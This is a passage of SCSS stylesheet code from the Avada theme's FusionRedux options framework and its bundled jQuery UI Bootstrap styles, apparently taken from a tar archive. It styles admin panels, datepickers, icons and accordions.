L/9HC/0XwlIURkRhC4tz6Z/fu7fUf2gHvfB9z3u0BGRkZGRkbGplHcnkgguQoSqtUXuhbs/wPtMwqV0HUJAvj5vk32b8IDuL23yn7qAXZ5u32hbRX7d3o82Df1FZXvbh9QOfhyxldr/+3xgXU9oKmvsHyr7F/XA269/eveBXrsv7N9QALe/tvjA0kPWAXGbvebkbHn+D/J5nMcHzx1UAAAAABJRU5ErkJggg==) !important; } .ui-datepicker-header { background-color: $secondaryColor !important; color: white !important; } .ui-datepicker td .ui-state-active { background-color: lighten($accentColor, 3%) !important; color: white !important; } .ui-datepicker td .ui-state-hover { color: lighten($accentColor, 3%) !important; } .ui-datepicker td .ui-state-highlight { background: $accentColor !important; border: 1px solid $secondaryColor !important; color: white !important; } .fusionredux-container-switch .cb-disable, .fusionredux-container-switch .cb-enable, .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { @include backgroundGradient(#f5f5f5, #f8f8f8); border-color: #ccc !important; } .ui-datepicker td .ui-state-active { color: black !important; font-weight: 700 !important; background: white !important; } .fusionredux-container-switch .cb-disable.selected { @include backgroundGradient(#646464, #929292); border-color: #767676 !important; } .fusionredux-container-switch .cb-enable.selected, .fusionredux-field-container .ui-buttonset .ui-state-active { @include backgroundGradient($accentColor); border-color: darken($accentColor, 15%) !important; border-color: darken($accentColor, 10%) !important; -webkit-box-shadow: inset 0 1px 0 lighten($accentColor, 15%), 0 1px 0 rgba(0, 0, 0, .15) !important; box-shadow: inset 0 1px 0 lighten($accentColor, 15%), 0 1px 0 rgba(0, 0, 0, .15) !important; } #fusionredux-header { background: $secondaryColor; border-color: $accentColor; .display_header span { color: $darkColor; } } .fusionredux-sidebar .fusionredux-group-menu li.active { &.hasSubSections { a { position: relative; &:after { right: 0; border: solid 8px transparent; content: "\0020"; height: 0; width: 0; position: absolute; pointer-events: none; border-right-color: #fff; top: 50%; margin-top: -8px; } } ul.subsection li a:after { border: 0 none !important; content: "\0020" !important; } } } .fusionredux-sidebar .fusionredux-group-menu li { &.hasSubSections { .fusionredux-menu-error { display: none; margin-right: 5px; } a { &.hasError { .extraIconSubsections { background-color: rgb(185, 74, 72); color: rgb(242, 222, 222); } } .extraIconSubsections { border-radius: 10px; -moz-border-radius: 10px; -webkit-border-radius: 10px; border: 0 solid transparent; float: right; font-size: 9px; height: 9px; line-height: 9px; margin-right: 5px; padding: 6px 7px 4px 7px; width: 5px; } &:hover .extraIconSubsections { //right: 2px; } } } &.active, &.activeChild { a .extraIconSubsections { display: none; } &.hasSubSections { .fusionredux-menu-error { display: block; } .subsection { .fusionredux-menu-error { margin-right: 2px; } } } } } .fusionredux-sidebar .fusionredux-group-menu { li.active, li.activeChild { border-left: 0 none; a { color: $secondaryColor; } &.hasSubSections { .active { a { &:after { right: 0; border: solid 8px transparent; content: "\0020"; height: 0; width: 0; position: absolute; pointer-events: none; border-right-color: #fff; top: 50%; margin-top: -8px; } } } a { -webkit-transition: all 0.2s; -moz-transition: all 0.2s; transition: all 0.2s; color: #fff; width: auto; border-bottom: 0; } ul.subsection li { border-top: 0 none !important; &.active a:hover { color: #fff; } a { width: auto; border-top: 0 !important; // border-top-color: lighten(@secondaryColor, 15); padding: 7px; color: #fff; padding-left: 15px; -webkit-transition: all 0.2; -moz-transition: all 0.2; -ms-transition: all 0.2; -o-transition: all 0.2; transition: all 0.2; &:hover { color: $buttonPrimary; background: darken($secondaryColor, 10%); } span.group_title { padding-left: 5px !important; } } &.hasIcon { a { padding-left: 14px; span.group_title { padding-left: 30px !important; } } } } } } li.active { &.hasSubSections { a { background: $accentColor; } ul.subsection li a { background: $secondaryColor; } } } li.activeChild { &.hasSubSections { a { background: $darkColor; text-shadow: 1px 1px darken($darkColor, 30%); } ul.subsection li { a { background: $secondaryColor; text-shadow: none; } &.active { a { background: $accentColor; text-shadow: 1px 1px darken($accentColor, 20%); } } } } } } .fusionredux-container-image_select .fusionredux-image-select-selected img { border-color: $accentColor; border-width: 3px; max-width: 100%; max-height: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } #fusionredux-footer #fusionredux-share a { color: $accentColor; &:hover { color: darken($accentColor, 20%); } } .select3-results .select3-highlighted { background: $accentColor; } .select3-drop-active, .select3-container-multi.select3-container-active .select3-choices, .select3-drop.select3-drop-above.select3-drop-active, .select3-container-active .select3-choice, .select3-container-active .select3-choices, .select3-dropdown-open.select3-drop-above .select3-choice, .select3-dropdown-open.select3-drop-above .select3-choices { border-color: $accentColor; } .select3-dropdown-open.select3-drop-above .select3-choice, .select3-dropdown-open.select3-drop-above .select3-choices { border-top: inherit; } .noUi-connect { @include backgroundGradient(lighten($accentColor, 3%)); } } /* Light fresh theme */ .admin-color-fresh, .wp-customizer { @include adminThemeColorOverrides(#a0a5aa, #0073aa, #23282d, #1e8cbe); } /* Light admin theme */ .admin-color-light { @include adminThemeColorOverrides(#e6e6e6, #04a4cc, #888888, #0384a4); } /* Blue admin theme */ .admin-color-blue { @include adminThemeColorOverrides(#e2ecf1, #4796b3, #096484, #db9825); } /* Coffee admin theme */ .admin-color-coffee { @include adminThemeColorOverrides(#cdcbc9, #c7a589, #46403c, #ba906d); } /* Ectoplasm admin theme */ .admin-color-ectoplasm { @include adminThemeColorOverrides(#cbc5d3, #a3b745, #413256, #89993a); } /* Midnight admin theme */ .admin-color-midnight { @include adminThemeColorOverrides(#c2c4c5, #e14d43, #363b3f, #d92c23); } /* Ocean admin theme */ .admin-color-ocean { @include adminThemeColorOverrides(#d5dddf, #9ebaa0, #627c83, #86a988); } /* Sunrise admin theme */ .admin-color-sunrise { @include adminThemeColorOverrides(#f0c8c6, #dd823b, #b43c38, #cc6c23); } @media screen and (max-width: 600px) { // .fusionredux-group-tab-link-a span { margin-top: -2px; } .fusionredux-group-tab-link-a { min-height: 15px; span { //background: #222; //color: white; padding: 11px 12px; color: #555; -webkit-transition: all 0.3s; -moz-transition: all 0.3s; transition: all 0.3s; &:hover { //color: #2ea2cc; //background: black; background: #e5e5e5; } text-shadow: none !important; } } .fusionredux-sidebar a { } } @media screen and (max-width: 782px) { #fusionredux-footer #fusionredux-share { line-height: 38px; font-size: 18px; } .sticky-save-warn .fusionredux-save-warn { right: 13px; top: 46px; } .fusionredux-container .expand_options { margin-top: 5px; } .fusionredux-action_bar input { margin-bottom: 0 !important; } } @media screen and (max-width: 600px) { #fusionredux-footer #fusionredux-share, .fusionredux-hint-qtip { display: none; } .fusionredux-container .fusionredux-action_bar { float: none; } } // WP Engine CSS fix .fusionredux-sidebar .icon-large, .fusionredux-main .icon-large { background-image: inherit !important; width: inherit; height: inherit; } .fusionredux-main dd, .fusionredux-main li, .fusionredux-sidebar li { margin-bottom: 0 !important; } .fully-expanded { .fusionredux-sidebar { margin-left: -500px; } .fusionredux-main { margin-left: 0; } .fusionredux-group-tab { display: block; } } @media screen and (max-width: 640px) { #fusionredux-defaults-section { display: none; } } @media screen and (max-width: 730px) { #fusionredux-share { display:none; } } @media screen and (max-width: 730px) { #fusionredux-defaults-section2 { display: none; } #fusionredux-share { display:none; } } @media screen and (max-width: 600px) { .form-table > tbody > tr > th { padding-bottom: 0 !important; } .fusionredux_field_th { padding-top: 0; padding-bottom: 0; } .fusionredux-main { .fusionredux-field-container { padding-top: 0; padding-bottom: 0; } .subsection a { min-height: 15px; } } } @media screen and (min-width: 601px) and (max-width: 782px) { .fusionredux-container { .sticky-save-warn .fusionredux-save-warn { top: 47px !important; right: 13px !important; } } } @media screen and (max-width: 782px) { .fusionredux-main { .form-table-section-indented { input[type=text] { width: 95% !important; } } .fusionredux-container-sortable { input[type=text] { width: 80%; display: initial; } } .fusionredux-typography-container { .input_wrapper input.mini { font-size: 16px !important; height: 40px !important; padding: 7px 10px !important; line-height: 24px !important; } .picker-wrapper label { margin-top: 16px !important; } } .input-append { height: 50px !important; .add-on { font-size: 16px; line-height: 24px !important; padding: 7px; height: 32px !important; float: right; margin-top: -40px; } } .fusionredux-hint-qtip { float: left !important; } .fusionredux-action_bar .button { margin-top: -1px; } } } @media screen and (max-width: 600px) { .sticky-save-warn .fusionredux-save-warn { top: 0 !important; right: 14px !important; } } @media screen and (max-width: 570px) { .fusionredux-main { .fusionredux-container-sortable { .checkbox-container { width: 85%; padding-bottom: 5px; label { display: initial; } } } } } #fusionredux-header { position: relative; } /* Leftovers? */ /*.shadow1 { position: relative; &:before, &:after { z-index: -1; position: absolute; content: ""; bottom: 15px; left: 10px; width: 50%; top: 80%; max-width: 300px; background: #777; -webkit-box-shadow: 0 15px 10px rgba(0,0,0,0.4); -moz-box-shadow: 0 15px 10px rgba(0,0,0,0.4); box-shadow: 0 15px 10px rgba(0,0,0,0.4); -webkit-transform: rotate(-3deg); -moz-transform: rotate(-3deg); -o-transform: rotate(-3deg); -ms-transform: rotate(-3deg); transform: rotate(-3deg); } &:after { -webkit-transform: rotate(3deg); -moz-transform: rotate(3deg); -o-transform: rotate(3deg); -ms-transform: rotate(3deg); transform: rotate(3deg); right: 10px; left: auto; } }*/ /*.fusionredux-menu-warning { background-color: #C09853; color: #FCF8E3; } .fusionredux-menu-error { background-color: #B94A48; color: #F2DEDE; }*/ /*.fusionredux-screenshot { max-width: 300px; display: block; }*/ /*.fusionredux-container { .ajax-loading-img-top { margin: 5px 4px 0; float: left; } .ajax-loading { margin: 3px 4px 0; float: right; } .ajax-reset-loading-img { display: block; margin-left: 100px; } }*/ // Modern Theme .fusionredux-main { position: relative; #fusionredux-sticky { min-height: 32px; margin-left: -20px; margin-right: -20px; margin-top: -10px; margin-bottom: 8px; #info_bar { height: 32px; .expand_options { margin-top: 4px; } } } .fusionredux_field_search { top: 50px; right: 5px; } #fusionredux-footer-sticky { margin-left: -20px; margin-right: -20px; margin-bottom: -10px; } } .fusionredux-qtip { z-index: 999999 !important; } .fusionredux-main pre { white-space: pre-wrap; /* css-3 */ white-space: -moz-pre-wrap; /* Mozilla, since 1999 */ white-space: -pre-wrap; /* Opera 4-6 */ white-space: -o-pre-wrap; /* Opera 7 */ word-wrap: break-word; /* Internet Explorer 5.5+ */ } redux/framework/FusionReduxCore/assets/css/vendor/jquery-ui-bootstrap/jquery-ui-1.10.0.custom.scss000064400000113225152342437710033261 0ustar00Avada/includes/lib/inc/*! * jQuery UI Bootstrap (0.5) * http://addyosmani.github.com/jquery-ui-bootstrap * * Copyright 2012 - 2013, Addy Osmani * Dual licensed under the MIT or GPL Version 2 licenses. * * Portions copyright jQuery UI & Twitter Bootstrap */ .fusionredux-container, .control-section-fusionredux, .control-panel-fusionredux, .fusionredux-metabox { /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* * jQuery UI CSS Framework 1.10.0 * * Copyright 2013, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * * * To view and modify this theme, visit http://jqueryui.com/themeroller/ */ /* Component containers ----------------------------------*/ //.ui-widget { font-size:13px; } //.ui-widget .ui-widget { font-size: 1em; } //.ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-size: 1em; } .ui-widget-content { border: 1px solid #aaaaaa; background: #ffffff url(images/ui-bg_glass_75_ffffff_1x400.png) 50% 50% repeat-x; color: #404040; } //.ui-widget-content a { color: #404040; } .ui-widget-header { font-weight:bold; border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); border:1px solid #666; } .ui-widget-header a { color: #222222; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { background-color: #e6e6e6; background-repeat: no-repeat; background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6)); background-image: -webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6); background-image: -ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0); text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); color: #333; font-size: 13px; line-height: normal; border: 1px solid #ccc; border-bottom-color: #bbb; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -webkit-transition: 0.1s linear background-image; -moz-transition: 0.1s linear background-image; -ms-transition: 0.1s linear background-image; -o-transition: 0.1s linear background-image; transition: 0.1s linear background-image; overflow: visible; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #555555; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { background-position: 0 -15px; color: #333; text-decoration: none; } .ui-state-hover a, .ui-state-hover a:hover, .ui-state-hover a:link, .ui-state-hover a:visited { color: #212121; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa; font-weight: normal; color: #212121; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #212121; text-decoration: none; } .ui-widget :active { outline: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight p, .ui-state-error p, .ui-state-default p{ font-size: 13px; font-weight: normal; line-height: 18px; margin:7px 15px; } .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight { position: relative; margin-bottom: 18px; color: #404040; background-color: #eedc94; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#fceec1), to(#eedc94)); background-image: -moz-linear-gradient(top, #fceec1, #eedc94); background-image: -ms-linear-gradient(top, #fceec1, #eedc94); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fceec1), color-stop(100%, #eedc94)); background-image: -webkit-linear-gradient(top, #fceec1, #eedc94); background-image: -o-linear-gradient(top, #fceec1, #eedc94); background-image: linear-gradient(top, #fceec1, #eedc94); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fceec1', endColorstr='#eedc94', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #eedc94 #eedc94 #e4c652; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); border-width: 1px; border-style: solid; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #363636; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error { position: relative; margin-bottom: 18px; color: #ffffff; border-width: 1px; border-style: solid; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); background-color: #c43c35; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35)); background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35); background-image: -ms-linear-gradient(top, #ee5f5b, #c43c35); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35)); background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35); background-image: -o-linear-gradient(top, #ee5f5b, #c43c35); background-image: linear-gradient(top, #ee5f5b, #c43c35); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #c43c35 #c43c35 #882a25; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #cd0a0a; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #cd0a0a; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } .ui-state-disabled .ui-icon { filter:Alpha(Opacity=35); } /* For IE8 - See #6059 */ /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-header .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-state-default .ui-icon { background-image: url(images/ui-icons_888888_256x240.png); } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); } .ui-state-active .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); } .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_2e83ff_256x240.png); } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_f6cf3b_256x240.png); } /* positioning */ .ui-icon-carat-1-n { background-position: 0 0; } .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-icon-carat-1-e { background-position: -32px 0; } .ui-icon-carat-1-se { background-position: -48px 0; } .ui-icon-carat-1-s { background-position: -64px 0; } .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-icon-carat-1-w { background-position: -96px 0; } .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 0 -48px; } .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } .ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-off { background-position: -96px -144px; } .ui-icon-radio-on { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } .ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; -khtml-border-top-left-radius: 4px; border-top-left-radius: 4px; } .ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; -khtml-border-top-right-radius: 4px; border-top-right-radius: 4px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; -khtml-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; -khtml-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } /* Overlays */ .ui-widget-overlay { background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .30; filter:Alpha(Opacity=30); } .ui-widget-shadow { margin: -8px 0 0 -8px; padding: 8px; background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .30;filter:Alpha(Opacity=30); -moz-border-radius: 8px; -khtml-border-radius: 8px; -webkit-border-radius: 8px; border-radius: 8px; } /* * jQuery UI Accordion 1.10.0 * * Copyright 2013, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://jqueryui.com/accordion/ */ /* IE/Win - Fix animation bug - #4615 */ .ui-accordion { width: 100%; } .ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; font-weight:bold; } .ui-accordion .ui-accordion-li-fix { display: inline; } .ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; } .ui-accordion .ui-accordion-header a { display: block; font-size: 1em; padding: .5em .5em .5em 1.7em; } .ui-accordion-icons .ui-accordion-header a { padding-left: 2.2em; } .ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } .ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; zoom: 1; } .ui-accordion .ui-accordion-content-active { display: block; } /* * jQuery UI Button 1.10.0 * * Copyright 2013, AUTHORS.txt 